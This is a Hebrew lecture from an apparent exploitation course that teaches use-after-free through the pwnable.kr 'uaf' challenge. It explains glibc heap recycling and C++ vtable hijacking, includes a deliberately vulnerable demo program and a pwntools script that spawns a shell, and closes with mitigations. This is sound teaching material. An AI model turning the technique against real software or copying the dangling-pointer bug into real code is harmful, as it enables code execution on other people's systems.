7.2 שימוש לאחר שחרור הרצאה
עד עכשיו כל החולשות שתקפנו חיו על המחסנית - overflows, שליטה ב-RIP, ROP. עכשיו אנחנו יורדים לזירה השנייה והמעניינת לא פחות: הheap. בשיעור הקודם (7.1) הכרנו את הפנימיות של המקצה של glibc - מה זה chunk, איך נראים ה-bins, ומה קורה ל-chunk כשמשחררים אותו. עכשיו ניקח את הידע הזה ונבנה ממנו את אחת החולשות הכי נפוצות ומסוכנות בעולם האמיתי: שימוש לאחר שחרור. זו החולשה שמפילה דפדפנים, kernels ומכונות וירטואליות, וכאן נלמד אותה על דוגמה נקייה ומדויקת - האתגר האגדי uaf מ-pwnable.kr, שבו נחטוף את זרימת הבקרה של תוכנית C++ דרך דריסת מצביע ל-vtable.
הרעיון בבסיס פשוט להחריד: אחרי ש-free משחרר בלוק זיכרון, המצביע הישן עדיין קיים ועדיין מצביע לשם. אם נצליח לגרום למקצה להחזיר את אותו בלוק להקצאה חדשה שאנחנו שולטים בתוכן שלה, אז המצביע הישן פתאום "קורא" את הנתונים שלנו. וכשהמצביע הישן הוא מצביע לאובייקט עם פונקציות וירטואליות - השליטה בתוכן הופכת לשליטה על הקריאה הבאה של פונקציה.
מצביע תלוי - Dangling Pointer¶
בואו נתחיל מהבאג עצמו. ב-C וב-C++ הפונקציה free (או האופרטור delete) מחזירה בלוק זיכרון למקצה, אבל היא לא נוגעת במשתנה שמחזיק את הכתובת. המצביע ממשיך להצביע בדיוק לאותו מקום - רק שהמקום הזה כבר לא שייך לנו.
char *p = malloc(0x20);
strcpy(p, "hello");
free(p); // the block went back to the allocator
// p still holds the same address! This is a dangling pointer
puts(p); // use-after-free read - may print garbage or new data
p[0] = 'H'; // use-after-free write - overwrites data that's no longer ours
המונח "שימוש לאחר שחרור" מכסה כל גישה למצביע כזה אחרי ה-free: קריאה, כתיבה, או - הכי מסוכן - קריאה של מצביע פונקציה מתוך הבלוק ואז קפיצה אליו.
למה זה מסוכן ולא סתם באג? כי המקצה ממחזר זיכרון. הבלוק ששחררנו לא נמחק ולא מתאפס - הוא נכנס לרשימת פנויים וממתין להקצאה הבאה באותו גודל. אם התוקף יכול לגרום להקצאה חדשה בגודל הזה, הוא ישתלט על אותם בתים בדיוק, והמצביע התלוי יקרא מעכשיו את מה שהתוקף כתב.
Step 1: there is a live object, two pointers point to it
obj ------> +------------------+
(ours) | vptr | age | name | block of size 0x20
+------------------+
Step 2: free(obj). The pointer hasn't changed, but the block is now in the free list
obj ------> +------------------+
(dangling!) | fd | age | name | <-- the allocator wrote fd at the start
+------------------+
Step 3: a new malloc(0x20) that we fill -> returns the same block
obj -----> +------------------+
(dangling) \ | AAAA | BBBB |... | our data!
new ----/ +------------------+
שימו לב לפרט קטן וקריטי בשלב 2: כשהמקצה משחרר בלוק ומכניס אותו ל-bin, הוא כותב את מצביע ה-fd (המצביע לבלוק הבא ב-bin) לתוך שמונת הבתים הראשונים של אזור המשתמש. אלה בדיוק הבתים שבהם יושב ה-vptr של אובייקט C++. כלומר, עצם השחרור כבר משחית לנו את ה-vptr הישן. זו הסיבה שאסור פשוט לקרוא לאובייקט אחרי free בלי למחזר אותו קודם - נצלול לזה בהמשך.
מנגנון המיחזור - tcache ו-bins¶
כדי לexploit UAF צריך לשלוט בשאלה: כשאני קורא ל-malloc, איזה בלוק אני מקבל? התשובה נקבעת על ידי ה-bins של glibc, ובמיוחד ה-tcache.
מאז glibc 2.26 יש לכל thread מטמון פרטי בשם tcache. לכל מחלקת גודל (0x20, 0x30, 0x40, ...) יש רשימה מקושרת משלה, והיא מתנהגת כמו מחסנית - LIFO. כלומר, הבלוק ששוחרר אחרון הוא הראשון שיוקצה מחדש.
free(A); free(B); free(C); // all the same size, say 0x20
tcache[0x20] head -> C -> B -> A -> NULL
malloc(0x20) -> returns C (the head)
malloc(0x20) -> returns B
malloc(0x20) -> returns A
זה בדיוק מה שנותן לנו שליטה. אם התוכנית משחררת שני אובייקטים m ואז w, הם נכנסים ל-tcache בסדר: הראש הוא w (שוחרר אחרון), אחריו m. שתי הקצאות חדשות בגודל הזה יחזירו קודם את w ואז את m - ואנחנו נמלא את שניהם בנתונים שלנו.
הערה חשובה על גרסאות: ה-tcache קיים מ-glibc 2.26 ואילך. הבינארי של uaf ב-pwnable.kr הודר על סביבה ישנה יותר (Ubuntu עם glibc 2.23), שם אין tcache והבלוקים הקטנים נכנסים ל-fastbins. אבל לצורך UAF זה לא משנה כמעט כלום: גם fastbin וגם tcache הם רשימות LIFO לפי גודל, אז אותה הקצאה חוזרת בדיוק באותו אופן. הטכניקה זהה. בדקו על איזה glibc אתם רצים עם:
הכלל שצריך לזכור: בלוק פנוי חוזר להקצאה הבאה מאותה מחלקת גודל, לפי LIFO. מי ששולט בגודל ההקצאה ובתוכן שלה, שולט בבלוק המשוחרר.
שלושת הפנים של UAF - קריאה, כתיבה, וקריאה-לביצוע¶
לא כל UAF שווה. חשוב להבין מה בדיוק אנחנו יכולים לעשות עם המצביע התלוי:
- קריאה לאחר שחרור - אם התוכנית קוראת מהבלוק המשוחרר אחרי שמילאנו אותו, זה ערוץ leak מידע מצוין. אפשר להשתמש בזה כדי לleak כתובות heap או libc ולעקוף ASLR.
- כתיבה לאחר שחרור - אם התוכנית כותבת דרך המצביע התלוי, אנחנו יכולים להשחית בלוק חי אחר שמוקצה על אותו מקום, או להשחית metadata של המקצה.
- קריאה-לביצוע - זה הזהב. אם הבלוק המשוחרר מכיל מצביע פונקציה, והתוכנית קוראת דרכו לפונקציה אחרי שמילאנו אותו, אנחנו שולטים על ה-RIP ישירות. ב-C++ זה בדיוק מה שקורה עם ה-vtable של אובייקט.
בשיעור הזה נתמקד בפן השלישי, כי הוא הכי חד וכי הוא בדיוק מה שאתגר uaf בונה. כדי להבין אותו צריך לדעת איך אובייקט C++ עם פונקציות וירטואליות בנוי בזיכרון.
אובייקט C++ וטבלת הפונקציות הווירטואלית - vtable¶
כשמחלקה ב-C++ מכריזה על פונקציה virtual, המהדר לא יכול לדעת בזמן קומפילציה איזו גרסה של הפונקציה תיקרא (של מחלקת הבסיס או של היורשת). לכן הוא בונה טבלת פונקציות וירטואליות - vtable: מערך של מצביעי פונקציה, אחד לכל מתודה וירטואלית, לפי סדר ההכרזה. כל אובייקט של מחלקה כזו מתחיל במצביע לטבלה הזו - ה-vptr.
נסתכל על מבנה שמדמה את uaf:
class Human {
virtual void give_shell() { system("/bin/sh"); } // first virtual method -> slot 0
protected:
int age;
string name;
public:
virtual void introduce() { /* ... */ } // second virtual method -> slot 1
};
class Man : public Human {
void introduce() { /* Man ... */ } // overrides introduce (slot 1)
};
באובייקט Man בזיכרון (64 ביט, עם string מסוג ישן שהוא מצביע יחיד) המבנה הוא:
Man object (0x18 = 24 bytes of user data)
+0x00 vptr ------------------> Man's vtable
+0x08 int age (with padding to 8)
+0x10 string name (pointer)
Man's vtable:
+0x00 give_shell <-- slot 0 (inherited from Human, not overridden)
+0x08 Man::introduce <-- slot 1
ה-vptr באובייקט מצביע לתחילת אזור ה-slots (slot 0). כשקוראים ל-m->introduce(), המהדר יודע ש-introduce היא המתודה הווירטואלית השנייה, כלומר slot 1, שנמצא ב-offset 8 בתוך הטבלה. האסמבלי שנוצר נראה כך:
mov rax, QWORD PTR [rdi] ; rax = vptr (the object's first byte)
mov rax, QWORD PTR [rax+0x8] ; rax = vtable[1] = introduce
; rdi already holds this
call rax ; jump to the function
עצרו רגע והסתכלו על שתי השורות הראשונות. הקריאה הווירטואלית עושה שתי הפניות עקיפות: קודם קוראת את ה-vptr מהאובייקט, ואז קוראת את מצביע הפונקציה מ-vptr+8. אם אנחנו שולטים על ה-vptr - שהוא הבית הראשון של האובייקט - אנחנו שולטים לחלוטין על מה ש-call rax יקפוץ אליו. וזה בדיוק מה ש-UAF נותן לנו: את היכולת לכתוב לבית הראשון של אובייקט משוחרר.
חטיפת ה-vptr דרך UAF - הרעיון המרכזי¶
עכשיו נחבר את הכל. הזרימה של ההתקפה:
- התוכנית מקצה אובייקט
Man- בלוק בגודל 0x20 (24 בתים נתונים), עם vptr תקין ב-offset 0. - התוכנית משחררת אותו (
delete m). עכשיו יש מצביע תלוי, והבלוק ב-tcache/fastbin. - אנחנו מבקשים מהתוכנית להקצות בלוק מאותו גודל ולמלא אותו בנתונים שלנו. המקצה מחזיר את הבלוק המשוחרר, ואנחנו כותבים את 8 הבתים הראשונים - ה-vptr - לערך שאנחנו בוחרים.
- התוכנית קוראת
m->introduce()דרך המצביע התלוי. הקריאה הווירטואלית קוראת[vptr+8]ומקפיצה לשם.
השאלה היחידה שנשארה: לאיזה ערך לכתוב את ה-vptr המזויף כדי ש-[vptr+8] יצביע ל-give_shell?
הנה הטריק היפה. אנחנו לא צריכים לבנות vtable מזויף משלנו - אנחנו יכולים למחזר את ה-vtable האמיתי שכבר קיים בבינארי. אנחנו יודעים ש-give_shell יושב ב-slot 0 של הטבלה, כלומר ב-offset 0. הקריאה של introduce קוראת מ-vptr+8. אז אם נכתוב ל-vptr את הערך (כתובת slot 0) פחות 8, אז:
fake vptr = slot0_address - 8
introduce reads [vptr+8] = [slot0_address - 8 + 8] = [slot0_address] = give_shell
כלומר, הזזנו את ה"טבלה" שמונה בתים אחורה, כך שמה ש-introduce חושב שהוא slot 1 הוא בעצם slot 0 = give_shell. אלגנטי, ולא דורש שום כתובת heap - רק את הכתובת הקבועה של ה-vtable בבינארי.
זה עובד רק כי הבינארי הוא No PIE. בלי PIE, ה-vtable ו-give_shell יושבים בכתובות קבועות בכל הרצה, אז אפשר לכתוב אותן קשיח. אם היה PIE, היינו צריכים קודם לדלוף כתובת קוד (למשל דרך פן ה"קריאה לאחר שחרור" של אותה חולשה) ואז לחשב את הבסיס.
דמו מקומי מלא - Local Demo¶
בואו נבנה גרסה מוקטנת שאפשר להדר ולתקוף אצלכם, כדי לראות את המנגנון חי. נשתמש ב-char name[16] במקום std::string כדי שהגודל יהיה יציב בין מהדרים.
// vuln.cpp
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <unistd.h>
class Human {
public:
virtual void give_shell() { system("/bin/sh"); } // slot 0
virtual void introduce() { puts("I am a human"); } // slot 1
int age;
char name[16];
};
int main() {
Human *m = new Human(); // object of fixed size
char *data;
int op;
while (1) {
printf("1.use 2.alloc 3.free > ");
if (scanf("%d", &op) != 1) break;
if (op == 1) {
m->introduce(); // virtual call through vptr
} else if (op == 2) {
data = new char[sizeof(Human)];
read(0, data, sizeof(Human)); // we fill the block
} else if (op == 3) {
delete m; // this is where the dangling pointer is born
}
}
}
מהדרים ובודקים הגנות. חשוב -no-pie כדי לקבל כתובות קבועות:
פלט טיפוסי:
עכשיו נמצא את הכתובות. הסמל של ה-vtable ב-C++ נקרא _ZTV5Human (זהו mangling של "vtable for Human"):
$ nm vuln | grep -E '_ZTV5Human|give_shell'
0000000000404d40 V _ZTV5Human
0000000000401290 W _ZN5Human10give_shellEv
מבנה ה-vtable בזיכרון מתחיל בשני שדות שירות (offset-to-top ו-typeinfo) ורק אחריהם ה-slots. כלומר slot 0 יושב ב-_ZTV5Human + 16. ה-vptr האמיתי של האובייקט מצביע לשם. אנחנו רוצים לכתוב slot0 - 8, כלומר:
בדיקה ב-gdb, כדי לוודא שאנחנו לא מנחשים:
$ gdb ./vuln
pwndbg> b main
pwndbg> run
pwndbg> x/gx m # the object's real vptr
0x...: 0x0000000000404d50 # = _ZTV5Human + 16, this is slot0
pwndbg> x/2gx 0x404d50 # what's in the slots?
0x404d50: 0x0000000000401290 <give_shell> # slot 0
0x404d58: 0x00000000004012c8 <introduce> # slot 1
מצוין. slot0 = 0x404d50, אז ה-vptr המזויף = 0x404d48. ה-exploit:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./vuln')
# find the vtable from the symbols and compute the fake vptr
vtable = elf.symbols['_ZTV5Human'] # start of the table
fake_vptr = vtable + 8 # (vtable+16) - 8 = slot0 - 8
p = process()
p.sendlineafter(b'>', b'3') # free -> dangling pointer
p.sendlineafter(b'>', b'2') # alloc of the same size -> recycles the block
p.sendline(p64(fake_vptr)) # write the fake vptr to the first byte
p.sendlineafter(b'>', b'1') # use -> introduce reads [vptr+8] = give_shell
p.interactive()
מריצים ומקבלים shell. שימו לב לדפוס: free, ואז alloc שממלא, ואז use. זה בדיוק אותו ריקוד שנעשה על האתגר האמיתי.
המקרה הקלאסי - pwnable.kr uaf¶
עכשיו לאתגר עצמו. uaf בקטגוריית Rookiss הוא תוכנית C++ עם מחלקות Human, Man ו-Woman. הפונקציה main מקצה שני אובייקטים ואז נכנסת ללולאת תפריט:
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
while (1) {
// 1. use 2. after 3. free
switch (op) {
case 1: m->introduce(); w->introduce(); break;
case 2: len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len); break;
case 3: delete m; delete w; break;
}
}
שימו לב לכמה פרטים שמעצבים את כל ההתקפה:
- הגודל בא מ-
argv[1], והתוכן מ-argv[2]. אופציה 2 ("after") מקצהnew char[len]וקוראתlenבתים מקובץ שאנחנו בוחרים. כלומר, אנחנו שולטים גם בגודל ההקצאה וגם בכל בית שלה. זה הכלי המושלם למחזר בלוק משוחרר ולמלא אותו. - גודל האובייקט הוא 0x18 = 24 בתים. ה-string במחלקה הודר עם ה-ABI הישן (COW string) שהוא מצביע יחיד, אז: vptr (8) + int age עם padding (8) + string (8) = 24. לכן
new char[24]נופל לאותה מחלקת גודל בדיוק כמו האובייקט (chunk של 0x20), וממחזר אותו. - אופציה 3 משחררת את שניהם:
delete mואזdelete w. שני בלוקים של 0x20 נכנסים ל-bin, כשהראש הוא w. שתי הקצאות של 24 בתים יחזירו קודם את w ואז את m. - אופציה 1 קוראת
m->introduce()תחילה. אם נדרוס את ה-vptr של m, נקבל shell כבר בקריאה הראשונה.
למה צריך להקצות פעמיים ולא פעם אחת? כי כמו שראינו, עצם ה-free דורס את ה-vptr של כל אובייקט עם מצביע ה-fd של ה-bin. אחרי delete m; delete w;, גם ה-vptr של m וגם של w מושחתים. אם נקרא ל-use מיד, m->introduce() יקרוס על vptr זבל. לכן נקצה פעמיים: הקצאה ראשונה ממחזרת את w וכותבת לו vptr טוב, הקצאה שנייה ממחזרת את m וכותבת לו vptr טוב. רק אז use בטוח.
ואיזה ערך כותבים? בדיוק הטריק מקודם. מוצאים ב-gdb את slot0 של הטבלה (שם יושב give_shell), וכותבים אותו פחות 8. בבינארי הזה give_shell יושבת ב-0x400ec4, ה-vptr האמיתי של האובייקט הוא 0x401570, ולכן הערך שנכתוב הוא 0x401568. את כל הצעדים המדויקים - איך מוצאים את זה ב-gdb, איך בונים את הקובץ, ובאיזה סדר לוחצים על התפריט - נעשה יחד בפתרון.
הגנות והשלכות - Mitigations¶
חשוב להבין מה עוצר UAF ומה לא:
- ASLR ו-PIE - אלה ההגנות הרלוונטיות ביותר כאן. UAF שחוטף vptr דורש כתובת קבועה של
give_shellאו של vtable. בבינארי No PIE כמוuafהכתובות קבועות והתקיפה ישירה. עם PIE, צריך קודם לדלוף כתובת קוד - למשל דרך פן ה"קריאה" של אותה חולשה, או דרך חולשה נלווית. - מפתח ה-tcache נגד double free (מ-glibc 2.29) - לא עוזר נגד UAF-מיחזור. הוא מזהה שחרור כפול של אותו בלוק, אבל כאן אנחנו לא משחררים פעמיים, אלא מקצים מחדש בלוק ששוחרר פעם אחת. הבדיקה הזו שקופה לגמרי להתקפה שלנו.
- safe-linking (מ-glibc 2.32) - מערבל את מצביעי ה-fd ב-bins. גם זה לא נוגע ב-UAF-מיחזור, כי אנחנו לא צריכים לזייף מצביע fd - אנחנו רק ממתינים שהמקצה יחזיר לנו בלוק שהוא בעצמו קישר.
- NX - פעיל, ולא מפריע: אנחנו לא מריצים shellcode, אלא קופצים לקוד קיים (
give_shell).
ומה כן היה עוזר? מקצים מוקשחים (hardened allocators) שמאפסים או "מרעילים" זיכרון משוחרר, זיהוי בזמן ריצה עם AddressSanitizer (מסמן כל גישה לזיכרון משוחרר), תיוג זיכרון בחומרה כמו MTE של ARM, וברמת הקוד - שימוש ב-smart pointers ואיפוס מצביעים אחרי שחרור (p = nullptr). כל אלה תוקפים את שורש הבעיה: מצביע ששורד את הזיכרון שאליו הוא הצביע.
סיכום¶
- מצביע תלוי - dangling pointer נוצר כש-
free/deleteמשחרר בלוק אבל המצביע ממשיך להצביע אליו. שימוש בו הוא UAF. - המקצה ממחזר בלוקים משוחררים ב-LIFO לפי מחלקת גודל (tcache מ-2.26, fastbins בגרסאות ישנות). מי ששולט בגודל ובתוכן של ההקצאה הבאה, משתלט על הבלוק המשוחרר.
- ל-UAF שלושה פנים: קריאה (leak), כתיבה (השחתה), וקריאה-לביצוע (חטיפת RIP) - האחרון הכי חד.
- באובייקט C++ ה-vptr יושב ב-offset 0, וקריאה וירטואלית עושה
call [vptr+slot]. שליטה על 8 הבתים הראשונים של אובייקט משוחרר = שליטה על ה-RIP. - הטריק של pwnable.kr uaf: משחררים, מקצים פעמיים בגודל 24 כדי למחזר ולמלא את שני האובייקטים, כותבים vptr מזויף
slot0 - 8כדי ש-introduce יקפוץ ל-give_shell, ואז קוראים use. - ההגנה הרלוונטית היא ASLR/PIE. מפתח ה-tcache ו-safe-linking לא עוצרים UAF-מיחזור. הפתרון האמיתי הוא בקוד: איפוס מצביעים, smart pointers, וכלי זיהוי כמו ASan.